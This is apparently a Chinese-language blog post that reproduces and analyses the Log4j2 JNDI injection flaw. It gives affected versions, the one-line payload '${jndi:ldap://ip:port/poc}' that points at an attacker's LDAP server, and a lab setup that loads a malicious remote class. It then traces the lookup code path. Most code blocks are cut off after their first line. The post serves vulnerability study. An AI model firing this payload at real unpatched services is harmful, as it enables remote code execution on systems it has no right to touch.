漏洞影响挺大的,但是由于一直在准备期末考试就延迟到了现在才分析,因为这个漏洞还发生了一些不可描述的事情。
Log4j2-core的maven仓库
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core
从2.0-beta7 到 2.17.0除了2.3.2 和 2.12.4都存在jndi注入,而且后续修复的版本还有绕过和拒绝服务,这里我们只看poc被传飞了的洞。
1 | ${jndi:ldap://ip:port/poc} |
我们用集万恶于一身的2.14.0。
idea maven可能下载不到这个版本,这里建议给idea的maven换一下国内的源,有时候国内源下不了就吧override勾掉再换回去。
使用我们自己的配置文件覆盖idea中maven的配置文件,如果本地没有安装其他版本的maven,这里一般是空的,我们手动创建一个就可以。
1 | <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" |
我们在远程服务器监听,然后跑测试代码。
1 | import org.apache.logging.log4j.LogManager; |
发现log被正常打印,服务器也收到了信息。
1 | import org.apache.logging.log4j.LogManager; |
测试一发payload,发现ldap服务收到了信息,但是被攻击主机并没有访问class文件,这是因为这种方式在具体哪个版本开始需要开启com.sun.jndi.ldap.object.trustURLCodebase为true才允许远程加载类。
因此被攻击主机会拒绝下载远程的class文件。
1 | System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); |
更改完配置后就会发现除了ldap服务有访问记录,class文件也有访问记录,可以成功弹出计算器就不贴图了。
所以有log4j漏洞的服务jdk版本都不会高,而jvm的字节码是向下兼容的,我本地的jdk11可以跑jdk8的class,但是反过来就不一定了,所以用来做exp的class文件建议用jdk7和jdk8都编译一份,有时候jdk8的版本可能会有点高。
调试漏洞之前我们要先大概知道jndi是什么?
Java Naming and Directory InterfaceTM (JNDI) 是一个应用程序编程接口 (这里的Directory管理的不是文件而是服务),它为使用 JavaTM 编程语言编写的应用程序提供命名和目录功能。 它被定义为独立于任何特定的目录服务实现。 因此,可以以通用方式访问各种目录(新的、新兴的和已部署的)。
找了一个图感觉描述的挺贴切的,jndi更像是一个插槽,可以将不同的服务例如ldap、dns等插在上面,由jndi统一管理。
log4j中用来完成jndi功能的对象叫做Lookup,log4j的lookup封装了一些其他的Lookup,比如LowerLookup、JndiLookup。
1 | import org.apache.logging.log4j.LogManager; |
一直跟代码跟到resolveVariable方法,如果不看除了rc1和rc2的过滤那么在这之前的都不重要。
在StrSubstitutor中可以看到各个lookup的实例(下面有函数调用栈),log4j的lookup接受的参数有两个,一个是event对象,一个是我们传入的日志信息。
至于log4j是怎么区分不同的lookup的,我们跟进分析一下。
可以看到,prefix就是lookuo的名称,通过prefix得到一个lookup实例,调用这个实例的lookup方法将name当作参数传入。
由此我们当然会关注到如何调用jdnilookup,只需要”:”左边是jndi,右边就是jdnilookup的参数就可以实现了,接着就是jdni注入,通过ldap传递一个恶意的class,而被攻击者会反序列化我们的class,在构造函数处写入我们的恶意代码即可在反序列化后触发。
1 | import java.io.BufferedReader; |
总结一下:log4j是一个很简单的漏洞,在利用之前确实不需要布置一些很复杂的gadget(或者说不用布置任何东西,看起来漏洞是这个依赖库的正常功能),但是影响是真的大。。。
挖坑:感觉idea提供的傻瓜式操作让我一直没有手动编译过maven项目,或者说很多细节都注意不到,下次复现其他漏洞打算用vscode。